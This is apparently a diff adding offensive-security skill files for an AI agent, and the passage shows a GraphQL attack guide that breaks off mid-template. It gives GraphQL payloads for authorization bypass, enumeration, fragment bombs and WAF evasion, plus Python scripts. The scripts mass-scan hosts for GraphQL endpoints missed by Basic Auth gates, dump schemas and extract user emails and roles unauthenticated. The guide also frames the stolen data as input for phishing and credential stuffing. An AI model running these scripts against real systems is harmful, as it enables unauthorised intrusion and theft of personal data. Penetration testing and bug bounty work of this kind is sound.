- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,648 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: graphql
|
|
5
|
+
description: GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# GraphQL
|
|
9
|
+
|
|
10
|
+
Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Operations**
|
|
15
|
+
- Queries, mutations, subscriptions
|
|
16
|
+
- Persisted queries / Automatic Persisted Queries (APQ)
|
|
17
|
+
|
|
18
|
+
**Transports**
|
|
19
|
+
- HTTP POST/GET with `application/json` or `application/graphql`
|
|
20
|
+
- WebSocket: graphql-ws, graphql-transport-ws protocols
|
|
21
|
+
- Multipart for file uploads
|
|
22
|
+
|
|
23
|
+
**Schema Features**
|
|
24
|
+
- Introspection (`__schema`, `__type`)
|
|
25
|
+
- Directives: `@defer`, `@stream`, custom auth directives (@auth, @private)
|
|
26
|
+
- Custom scalars: Upload, JSON, DateTime
|
|
27
|
+
- Relay: global node IDs, connections/cursors, interfaces/unions
|
|
28
|
+
|
|
29
|
+
**Architecture**
|
|
30
|
+
- Federation (Apollo, GraphQL Mesh): `_service`, `_entities`
|
|
31
|
+
- Gateway vs subgraph authorization boundaries
|
|
32
|
+
|
|
33
|
+
## Reconnaissance
|
|
34
|
+
|
|
35
|
+
**Endpoint Discovery**
|
|
36
|
+
```
|
|
37
|
+
POST /graphql {"query":"{__typename}"}
|
|
38
|
+
POST /api/graphql {"query":"{__typename}"}
|
|
39
|
+
POST /v1/graphql {"query":"{__typename}"}
|
|
40
|
+
POST /gql {"query":"{__typename}"}
|
|
41
|
+
GET /graphql?query={__typename}
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).
|
|
45
|
+
|
|
46
|
+
**Schema Acquisition**
|
|
47
|
+
|
|
48
|
+
If introspection enabled:
|
|
49
|
+
```graphql
|
|
50
|
+
{__schema{types{name fields{name args{name}}}}}
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
If disabled, infer schema via:
|
|
54
|
+
- `__typename` probes on candidate fields
|
|
55
|
+
- Field suggestion errors (submit near-miss names to harvest suggestions)
|
|
56
|
+
- "Expected one of" errors revealing enum values
|
|
57
|
+
- Type coercion errors exposing field structure
|
|
58
|
+
- Error taxonomy: different codes for "unknown field" vs "unauthorized field" reveal existence
|
|
59
|
+
|
|
60
|
+
**Schema Mapping**
|
|
61
|
+
|
|
62
|
+
Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.
|
|
63
|
+
|
|
64
|
+
## Key Vulnerabilities
|
|
65
|
+
|
|
66
|
+
### Authorization Bypass
|
|
67
|
+
|
|
68
|
+
**Field-Level IDOR**
|
|
69
|
+
|
|
70
|
+
Test with aliases comparing owned vs foreign objects in single request:
|
|
71
|
+
```graphql
|
|
72
|
+
query {
|
|
73
|
+
own: order(id:"OWNED_ID") { id total owner { email } }
|
|
74
|
+
foreign: order(id:"FOREIGN_ID") { id total owner { email } }
|
|
75
|
+
}
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
**Edge/Child Resolver Gaps**
|
|
79
|
+
|
|
80
|
+
Parent resolver checks auth, child resolver assumes it's already validated:
|
|
81
|
+
```graphql
|
|
82
|
+
query {
|
|
83
|
+
user(id:"FOREIGN") {
|
|
84
|
+
id
|
|
85
|
+
privateData { secrets } # Child may skip auth check
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
**Relay Node Resolution**
|
|
91
|
+
|
|
92
|
+
Decode base64 global IDs, swap type/id pairs:
|
|
93
|
+
```graphql
|
|
94
|
+
query {
|
|
95
|
+
node(id:"VXNlcjoxMjM=") { ... on User { email } }
|
|
96
|
+
}
|
|
97
|
+
```
|
|
98
|
+
Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.
|
|
99
|
+
|
|
100
|
+
**Mutation Bypass**
|
|
101
|
+
- Probe mutations for partial updates bypassing validation (JSON Merge Patch semantics)
|
|
102
|
+
- Test mutations that accept extra fields passed to downstream logic
|
|
103
|
+
|
|
104
|
+
### Batching & Alias Abuse
|
|
105
|
+
|
|
106
|
+
**Enumeration via Aliases**
|
|
107
|
+
```graphql
|
|
108
|
+
query {
|
|
109
|
+
u1:user(id:"1"){email}
|
|
110
|
+
u2:user(id:"2"){email}
|
|
111
|
+
u3:user(id:"3"){email}
|
|
112
|
+
}
|
|
113
|
+
```
|
|
114
|
+
Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.
|
|
115
|
+
|
|
116
|
+
**Array Batching**
|
|
117
|
+
|
|
118
|
+
If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.
|
|
119
|
+
|
|
120
|
+
### Input Manipulation
|
|
121
|
+
|
|
122
|
+
**Type Confusion**
|
|
123
|
+
```
|
|
124
|
+
{id: 123} vs {id: "123"}
|
|
125
|
+
{id: [123]} vs {id: null}
|
|
126
|
+
{id: 0} vs {id: -1}
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Duplicate Keys**
|
|
130
|
+
```json
|
|
131
|
+
{"id": 1, "id": 2}
|
|
132
|
+
```
|
|
133
|
+
Parser precedence varies; may bypass validation. Also test default argument values.
|
|
134
|
+
|
|
135
|
+
**Extra Fields**
|
|
136
|
+
|
|
137
|
+
Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic.
|
|
138
|
+
|
|
139
|
+
### Cursor Manipulation
|
|
140
|
+
|
|
141
|
+
Decode cursors (usually base64) to:
|
|
142
|
+
- Manipulate offsets/IDs
|
|
143
|
+
- Skip filters
|
|
144
|
+
- Cross ownership boundaries
|
|
145
|
+
|
|
146
|
+
### Directive Abuse
|
|
147
|
+
|
|
148
|
+
**@defer/@stream**
|
|
149
|
+
```graphql
|
|
150
|
+
query {
|
|
151
|
+
me { id }
|
|
152
|
+
... @defer { adminPanel { secrets } }
|
|
153
|
+
}
|
|
154
|
+
```
|
|
155
|
+
May return gated data in incremental delivery. Confirm server supports incremental delivery.
|
|
156
|
+
|
|
157
|
+
**Custom Directives**
|
|
158
|
+
|
|
159
|
+
@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.
|
|
160
|
+
|
|
161
|
+
### Complexity Attacks
|
|
162
|
+
|
|
163
|
+
**Fragment Bombs**
|
|
164
|
+
```graphql
|
|
165
|
+
fragment x on User { friends { ...x } }
|
|
166
|
+
query { me { ...x } }
|
|
167
|
+
```
|
|
168
|
+
Test depth/complexity limits, query cost analyzers, timeouts.
|
|
169
|
+
|
|
170
|
+
**Wide Selection Sets**
|
|
171
|
+
|
|
172
|
+
Abuse selection sets and fragments to force overfetching of sensitive subfields.
|
|
173
|
+
|
|
174
|
+
### Federation Exploitation
|
|
175
|
+
|
|
176
|
+
**SDL Exposure**
|
|
177
|
+
```graphql
|
|
178
|
+
query { _service { sdl } }
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
**Entity Materialization**
|
|
182
|
+
```graphql
|
|
183
|
+
query {
|
|
184
|
+
_entities(representations:[
|
|
185
|
+
{__typename:"User", id:"TARGET_ID"}
|
|
186
|
+
]) { ... on User { email roles } }
|
|
187
|
+
}
|
|
188
|
+
```
|
|
189
|
+
Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.
|
|
190
|
+
|
|
191
|
+
### Subscription Security
|
|
192
|
+
|
|
193
|
+
- Authorization at handshake only, not per-message
|
|
194
|
+
- Subscribe to other users' channels via filter args
|
|
195
|
+
- Cross-tenant event leakage
|
|
196
|
+
- Abuse filter args in subscription resolvers to reference foreign IDs
|
|
197
|
+
|
|
198
|
+
### Persisted Query Abuse
|
|
199
|
+
|
|
200
|
+
- APQ hashes leaked from client bundles
|
|
201
|
+
- Replay privileged operations with attacker variables
|
|
202
|
+
- Hash bruteforce for common operations
|
|
203
|
+
- Validate hash→operation mapping enforces principal and operation allowlists
|
|
204
|
+
|
|
205
|
+
### CORS & CSRF
|
|
206
|
+
|
|
207
|
+
- Cookie-auth with GET queries enables CSRF on mutations via query parameters
|
|
208
|
+
- GraphiQL/Playground cross-origin with credentials leaks data
|
|
209
|
+
- Missing SameSite and origin validation
|
|
210
|
+
|
|
211
|
+
### File Uploads
|
|
212
|
+
|
|
213
|
+
GraphQL multipart spec:
|
|
214
|
+
- Multiple Upload scalars
|
|
215
|
+
- Filename/path traversal tricks
|
|
216
|
+
- Unexpected content-types, oversize chunks
|
|
217
|
+
- Server-side ownership/scoping for returned URLs
|
|
218
|
+
|
|
219
|
+
## WAF Evasion
|
|
220
|
+
|
|
221
|
+
**Query Reshaping**
|
|
222
|
+
- Comments and block strings (`"""..."""`)
|
|
223
|
+
- Unicode escapes
|
|
224
|
+
- Alias/fragment indirection
|
|
225
|
+
- JSON variables vs inline args
|
|
226
|
+
- GET vs POST vs `application/graphql`
|
|
227
|
+
|
|
228
|
+
**Fragment Splitting**
|
|
229
|
+
|
|
230
|
+
Split fields across fragments and inline spreads to avoid naive signatures:
|
|
231
|
+
```graphql
|
|
232
|
+
fragment a on User { email }
|
|
233
|
+
fragment b on User { password }
|
|
234
|
+
query { me { ...a ...b } }
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
## Bypass Techniques
|
|
238
|
+
|
|
239
|
+
**Transport Switching**
|
|
240
|
+
```
|
|
241
|
+
Content-Type: application/json
|
|
242
|
+
Content-Type: application/graphql
|
|
243
|
+
Content-Type: multipart/form-data
|
|
244
|
+
GET with query params
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
**Timing & Rate Limits**
|
|
248
|
+
- HTTP/2 multiplexing and connection reuse to widen timing windows
|
|
249
|
+
- Batching to bypass rate limits
|
|
250
|
+
|
|
251
|
+
**Naming Tricks**
|
|
252
|
+
- Case/underscore variations
|
|
253
|
+
- Unicode homoglyphs (server-dependent)
|
|
254
|
+
- Aliases masking sensitive field names
|
|
255
|
+
|
|
256
|
+
**Cache Confusion**
|
|
257
|
+
- CDN caching without Vary on Authorization
|
|
258
|
+
- Variable manipulation affecting cache keys
|
|
259
|
+
- Redirects and 304/206 behaviors leaking partial responses
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Path-Level Auth Gate Bypass (HIGH PRIORITY)
|
|
264
|
+
|
|
265
|
+
**The core issue**: Reverse proxies and load balancers apply HTTP Basic Authentication (or IP allowlists) at path `/` while explicitly excluding `/graphql`. The `/graphql` path is never covered by the auth gate, leaving the full API accessible unauthenticated. This is one of the highest-yield GraphQL findings in bug bounty because it is systematic across all non-production environments.
|
|
266
|
+
|
|
267
|
+
**Why it happens**: Teams configure Basic Auth in nginx/Caddy/Traefik to protect the frontend, then forget that the API path is a sibling route. Example misconfiguration:
|
|
268
|
+
|
|
269
|
+
```nginx
|
|
270
|
+
location / {
|
|
271
|
+
auth_basic "Restricted";
|
|
272
|
+
auth_basic_user_file /etc/.htpasswd;
|
|
273
|
+
}
|
|
274
|
+
# No auth_basic on /graphql — missed entirely
|
|
275
|
+
location /graphql {
|
|
276
|
+
proxy_pass http://backend:4000;
|
|
277
|
+
}
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
### Step 1 — Identify Candidates (Non-prod with 401 gates)
|
|
283
|
+
|
|
284
|
+
Non-production environments are the primary target. They almost always have Basic Auth on `/` but inconsistent coverage of API paths.
|
|
285
|
+
|
|
286
|
+
Target naming patterns to look for:
|
|
287
|
+
```
|
|
288
|
+
dev.<domain> dev2.<domain>
|
|
289
|
+
ppd.<domain> ppe.<domain>
|
|
290
|
+
staging.<domain> stg.<domain>
|
|
291
|
+
test.<domain> tst.<domain>
|
|
292
|
+
uat.<domain> qa.<domain>
|
|
293
|
+
preview.<domain> pre.<domain>
|
|
294
|
+
sandbox.<domain> demo.<domain>
|
|
295
|
+
beta.<domain> rc.<domain>
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
Automated candidate discovery from live hosts:
|
|
299
|
+
```python
|
|
300
|
+
#!/usr/bin/env python3
|
|
301
|
+
"""
|
|
302
|
+
Scan a list of hosts, find those returning 401 on /, then test /graphql.
|
|
303
|
+
Usage: python3 graphql_auth_bypass.py -f live_hosts.txt
|
|
304
|
+
"""
|
|
305
|
+
import sys, ssl, json, argparse
|
|
306
|
+
from urllib.request import urlopen, Request
|
|
307
|
+
from urllib.error import HTTPError, URLError
|
|
308
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
309
|
+
|
|
310
|
+
ctx = ssl.create_default_context()
|
|
311
|
+
ctx.check_hostname = False
|
|
312
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
313
|
+
|
|
314
|
+
GRAPHQL_PATHS = ["/graphql", "/api/graphql", "/v1/graphql", "/gql", "/query"]
|
|
315
|
+
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
|
|
316
|
+
PROBE = json.dumps({"query": "{__typename}"}).encode()
|
|
317
|
+
|
|
318
|
+
def check_root_auth(base):
|
|
319
|
+
"""Returns True if root / returns 401."""
|
|
320
|
+
try:
|
|
321
|
+
req = Request(base + "/", headers={"User-Agent": UA})
|
|
322
|
+
urlopen(req, context=ctx, timeout=10)
|
|
323
|
+
return False # 200 = no auth gate
|
|
324
|
+
except HTTPError as e:
|
|
325
|
+
return e.code == 401
|
|
326
|
+
except URLError:
|
|
327
|
+
return False
|
|
328
|
+
|
|
329
|
+
def test_graphql_bypass(base, path):
|
|
330
|
+
"""POST to /graphql — returns (status, typename) or None."""
|
|
331
|
+
try:
|
|
332
|
+
req = Request(
|
|
333
|
+
base + path,
|
|
334
|
+
data=PROBE,
|
|
335
|
+
headers={"Content-Type": "application/json", "User-Agent": UA}
|
|
336
|
+
)
|
|
337
|
+
resp = urlopen(req, context=ctx, timeout=10)
|
|
338
|
+
body = json.loads(resp.read())
|
|
339
|
+
typename = body.get("data", {}).get("__typename", "")
|
|
340
|
+
return resp.status, typename
|
|
341
|
+
except HTTPError as e:
|
|
342
|
+
return e.code, None
|
|
343
|
+
except Exception:
|
|
344
|
+
return None, None
|
|
345
|
+
|
|
346
|
+
def scan_host(base):
|
|
347
|
+
if not check_root_auth(base):
|
|
348
|
+
return None # No 401 gate, skip
|
|
349
|
+
results = []
|
|
350
|
+
for path in GRAPHQL_PATHS:
|
|
351
|
+
status, typename = test_graphql_bypass(base, path)
|
|
352
|
+
if status == 200 and typename:
|
|
353
|
+
results.append({
|
|
354
|
+
"host": base,
|
|
355
|
+
"path": path,
|
|
356
|
+
"status": status,
|
|
357
|
+
"typename": typename,
|
|
358
|
+
"finding": "AUTH_GATE_BYPASS"
|
|
359
|
+
})
|
|
360
|
+
return results if results else None
|
|
361
|
+
|
|
362
|
+
parser = argparse.ArgumentParser()
|
|
363
|
+
parser.add_argument("-f", "--file", required=True)
|
|
364
|
+
args = parser.parse_args()
|
|
365
|
+
|
|
366
|
+
hosts = [l.strip() for l in open(args.file) if l.strip()]
|
|
367
|
+
print(f"[*] Scanning {len(hosts)} hosts for GraphQL auth gate bypass...")
|
|
368
|
+
|
|
369
|
+
with ThreadPoolExecutor(max_workers=20) as ex:
|
|
370
|
+
futures = {ex.submit(scan_host, h): h for h in hosts}
|
|
371
|
+
for fut in as_completed(futures):
|
|
372
|
+
result = fut.result()
|
|
373
|
+
if result:
|
|
374
|
+
for r in result:
|
|
375
|
+
print(f"\n[BYPASS FOUND] {r['host']}{r['path']}")
|
|
376
|
+
print(f" Root / returns 401 (auth gate active)")
|
|
377
|
+
print(f" POST {r['path']} -> HTTP {r['status']}, __typename={r['typename']}")
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
---
|
|
381
|
+
|
|
382
|
+
### Step 2 — Confirm the Bypass
|
|
383
|
+
|
|
384
|
+
Three-step proof chain (each step compounds impact):
|
|
385
|
+
|
|
386
|
+
**Step 2a — Confirm auth gate on root:**
|
|
387
|
+
```python
|
|
388
|
+
import urllib.request, ssl, urllib.error
|
|
389
|
+
|
|
390
|
+
ctx = ssl.create_default_context()
|
|
391
|
+
ctx.check_hostname = False
|
|
392
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
393
|
+
|
|
394
|
+
target = "https://dev.target.com"
|
|
395
|
+
try:
|
|
396
|
+
urllib.request.urlopen(target + "/", context=ctx, timeout=10)
|
|
397
|
+
print("No auth gate")
|
|
398
|
+
except urllib.error.HTTPError as e:
|
|
399
|
+
print(f"Root: HTTP {e.code}, WWW-Authenticate: {e.headers.get('WWW-Authenticate')}")
|
|
400
|
+
# Expected: HTTP 401, WWW-Authenticate: Basic realm="Restricted"
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
**Step 2b — Bypass via /graphql (no Authorization header):**
|
|
404
|
+
```python
|
|
405
|
+
import json, urllib.request, ssl
|
|
406
|
+
|
|
407
|
+
ctx = ssl.create_default_context()
|
|
408
|
+
ctx.check_hostname = False
|
|
409
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
410
|
+
|
|
411
|
+
target = "https://dev.target.com"
|
|
412
|
+
payload = json.dumps({"query": "{__typename}"}).encode()
|
|
413
|
+
req = urllib.request.Request(
|
|
414
|
+
target + "/graphql",
|
|
415
|
+
data=payload,
|
|
416
|
+
headers={"Content-Type": "application/json"}
|
|
417
|
+
)
|
|
418
|
+
resp = urllib.request.urlopen(req, context=ctx, timeout=15)
|
|
419
|
+
print(f"HTTP {resp.status}")
|
|
420
|
+
print(json.loads(resp.read()))
|
|
421
|
+
# Expected: HTTP 200, {"data": {"__typename": "Query"}}
|
|
422
|
+
# This is the bypass proof — /graphql returned 200 without any Authorization header
|
|
423
|
+
```
|
|
424
|
+
|
|
425
|
+
**Step 2c — Confirm introspection enabled (unauthenticated schema disclosure):**
|
|
426
|
+
```python
|
|
427
|
+
INTROSPECTION = {
|
|
428
|
+
"query": """
|
|
429
|
+
query IntrospectionQuery {
|
|
430
|
+
__schema {
|
|
431
|
+
queryType { name }
|
|
432
|
+
mutationType { name }
|
|
433
|
+
subscriptionType { name }
|
|
434
|
+
types { name kind }
|
|
435
|
+
}
|
|
436
|
+
}
|
|
437
|
+
"""
|
|
438
|
+
}
|
|
439
|
+
|
|
440
|
+
payload = json.dumps(INTROSPECTION).encode()
|
|
441
|
+
req = urllib.request.Request(
|
|
442
|
+
target + "/graphql",
|
|
443
|
+
data=payload,
|
|
444
|
+
headers={"Content-Type": "application/json"}
|
|
445
|
+
)
|
|
446
|
+
resp = urllib.request.urlopen(req, context=ctx, timeout=15)
|
|
447
|
+
schema = json.loads(resp.read())
|
|
448
|
+
types = schema.get("data", {}).get("__schema", {}).get("types", [])
|
|
449
|
+
# Flag sensitive-sounding type names
|
|
450
|
+
sensitive = [t["name"] for t in types if any(
|
|
451
|
+
w in t["name"].lower() for w in ["admin", "payment", "billing", "internal", "secret", "token", "credential"]
|
|
452
|
+
)]
|
|
453
|
+
print(f"Total types: {len(types)}")
|
|
454
|
+
print(f"Sensitive-sounding types: {sensitive}")
|
|
455
|
+
```
|
|
456
|
+
|
|
457
|
+
---
|
|
458
|
+
|
|
459
|
+
### Step 3 — Deep Schema Enumeration (Full Introspection)
|
|
460
|
+
|
|
461
|
+
```python
|
|
462
|
+
FULL_INTROSPECTION = {
|
|
463
|
+
"query": """
|
|
464
|
+
query FullIntrospection {
|
|
465
|
+
__schema {
|
|
466
|
+
queryType { name }
|
|
467
|
+
mutationType { name }
|
|
468
|
+
types {
|
|
469
|
+
name
|
|
470
|
+
kind
|
|
471
|
+
fields(includeDeprecated: true) {
|
|
472
|
+
name
|
|
473
|
+
isDeprecated
|
|
474
|
+
deprecationReason
|
|
475
|
+
args { name type { name kind ofType { name kind } } }
|
|
476
|
+
type { name kind ofType { name kind ofType { name kind } } }
|
|
477
|
+
}
|
|
478
|
+
inputFields { name type { name kind ofType { name kind } } }
|
|
479
|
+
enumValues(includeDeprecated: true) { name }
|
|
480
|
+
}
|
|
481
|
+
}
|
|
482
|
+
}
|
|
483
|
+
"""
|
|
484
|
+
}
|
|
485
|
+
|
|
486
|
+
payload = json.dumps(FULL_INTROSPECTION).encode()
|
|
487
|
+
req = urllib.request.Request(
|
|
488
|
+
target + "/graphql",
|
|
489
|
+
data=payload,
|
|
490
|
+
headers={"Content-Type": "application/json"}
|
|
491
|
+
)
|
|
492
|
+
resp = urllib.request.urlopen(req, context=ctx, timeout=30)
|
|
493
|
+
schema = json.loads(resp.read())
|
|
494
|
+
|
|
495
|
+
# Extract all root query fields
|
|
496
|
+
schema_data = schema.get("data", {}).get("__schema", {})
|
|
497
|
+
types_by_name = {t["name"]: t for t in schema_data.get("types", []) if t.get("fields")}
|
|
498
|
+
|
|
499
|
+
query_root = schema_data.get("queryType", {}).get("name", "Query")
|
|
500
|
+
mutation_root = schema_data.get("mutationType", {}).get("name", "Mutation")
|
|
501
|
+
|
|
502
|
+
print(f"\n=== Query fields ({query_root}) ===")
|
|
503
|
+
for f in (types_by_name.get(query_root, {}).get("fields") or []):
|
|
504
|
+
print(f" {f['name']}")
|
|
505
|
+
|
|
506
|
+
print(f"\n=== Mutation fields ({mutation_root}) ===")
|
|
507
|
+
for f in (types_by_name.get(mutation_root, {}).get("fields") or []):
|
|
508
|
+
flag = "[ADMIN?]" if "admin" in f["name"].lower() else ""
|
|
509
|
+
print(f" {flag} {f['name']}")
|
|
510
|
+
```
|
|
511
|
+
|
|
512
|
+
**What to flag in schema:**
|
|
513
|
+
- Any field with `admin`, `internal`, `system`, `debug`, `config`, `secret` in the name
|
|
514
|
+
- Payment/billing mutations: `charge`, `refund`, `invoice`, `subscription`
|
|
515
|
+
- User/identity operations: `createUser`, `deleteUser`, `updateRole`, `impersonate`
|
|
516
|
+
- Fields that accept IDs with no ownership context in the schema (IDOR candidates)
|
|
517
|
+
|
|
518
|
+
---
|
|
519
|
+
|
|
520
|
+
### Step 4 — Unauthenticated Data Extraction
|
|
521
|
+
|
|
522
|
+
After schema enumeration, identify queries that return real data without authentication. Prioritize:
|
|
523
|
+
|
|
524
|
+
**User/account data:**
|
|
525
|
+
```python
|
|
526
|
+
QUERIES_TO_PROBE = [
|
|
527
|
+
# Generic patterns — substitute real field names from schema
|
|
528
|
+
'{ users(limit: 3) { edges { node { id email role } } } }',
|
|
529
|
+
'{ me { id email role permissions } }',
|
|
530
|
+
'{ user(id: "1") { id email role } }',
|
|
531
|
+
'{ accounts(first: 3) { nodes { id email } } }',
|
|
532
|
+
]
|
|
533
|
+
|
|
534
|
+
for q in QUERIES_TO_PROBE:
|
|
535
|
+
try:
|
|
536
|
+
payload = json.dumps({"query": q}).encode()
|
|
537
|
+
req = urllib.request.Request(
|
|
538
|
+
target + "/graphql",
|
|
539
|
+
data=payload,
|
|
540
|
+
headers={"Content-Type": "application/json"}
|
|
541
|
+
)
|
|
542
|
+
resp = urllib.request.urlopen(req, context=ctx, timeout=10)
|
|
543
|
+
body = json.loads(resp.read())
|
|
544
|
+
if body.get("data") and not body.get("errors"):
|
|
545
|
+
print(f"[DATA RETURNED] {q[:60]}")
|
|
546
|
+
print(f" Response: {json.dumps(body['data'])[:200]}")
|
|
547
|
+
except Exception as e:
|
|
548
|
+
pass
|
|
549
|
+
```
|
|
550
|
+
|
|
551
|
+
**Configuration/business data (adapt field names from schema):**
|
|
552
|
+
```python
|
|
553
|
+
# After schema enumeration identifies real field names, test:
|
|
554
|
+
COMPANY_QUERY = """
|
|
555
|
+
query {
|
|
556
|
+
companies(limit: 5, page: 1) {
|
|
557
|
+
count
|
|
558
|
+
edges {
|
|
559
|
+
node {
|
|
560
|
+
id
|
|
561
|
+
name
|
|
562
|
+
domain
|
|
563
|
+
supportPhone
|
|
564
|
+
registrationEmailPattern
|
|
565
|
+
registrationTokenNeeded
|
|
566
|
+
}
|
|
567
|
+
}
|
|
568
|
+
}
|
|
569
|
+
}
|
|
570
|
+
"""
|
|
571
|
+
# If this returns count + real company nodes = unauthenticated business data exposure
|
|
572
|
+
```
|
|
573
|
+
|
|
574
|
+
**Impact escalation from data returned:**
|
|
575
|
+
- Company/partner domains → phishing target list
|
|
576
|
+
- Registration email patterns → credential stuffing scope
|
|
577
|
+
- `registrationTokenNeeded: false` → no invite required for registration
|
|
578
|
+
- Admin mutation names exposed → confirm which operations are attack-reachable
|
|
579
|
+
|
|
580
|
+
---
|
|
581
|
+
|
|
582
|
+
### Step 5 — Multi-Environment Cross-Check
|
|
583
|
+
|
|
584
|
+
If dev.target.com is bypassed, test ALL non-production variants — they often share the same misconfiguration:
|
|
585
|
+
|
|
586
|
+
```python
|
|
587
|
+
ENVS = ["dev", "ppd", "ppe", "staging", "stg", "test", "uat", "qa", "preview", "sandbox", "beta"]
|
|
588
|
+
BASE_DOMAIN = "target.com"
|
|
589
|
+
|
|
590
|
+
for env in ENVS:
|
|
591
|
+
host = f"https://{env}.{BASE_DOMAIN}"
|
|
592
|
+
# Run check_root_auth + test_graphql_bypass for each
|
|
593
|
+
```
|
|
594
|
+
|
|
595
|
+
Each additional affected environment compounds the impact and strengthens the finding.
|
|
596
|
+
|
|
597
|
+
---
|
|
598
|
+
|
|
599
|
+
### Combined Finding Template
|
|
600
|
+
|
|
601
|
+
When this pattern is confirmed, the full severity chain is:
|
|
602
|
+
|
|
603
|
+
```
|
|
604
|
+
HTTP Basic Auth bypass (proxy misconfiguration)
|
|
605
|
+
→ Unauthenticated GraphQL access
|
|
606
|
+
→ Introspection enabled (schema disclosure)
|
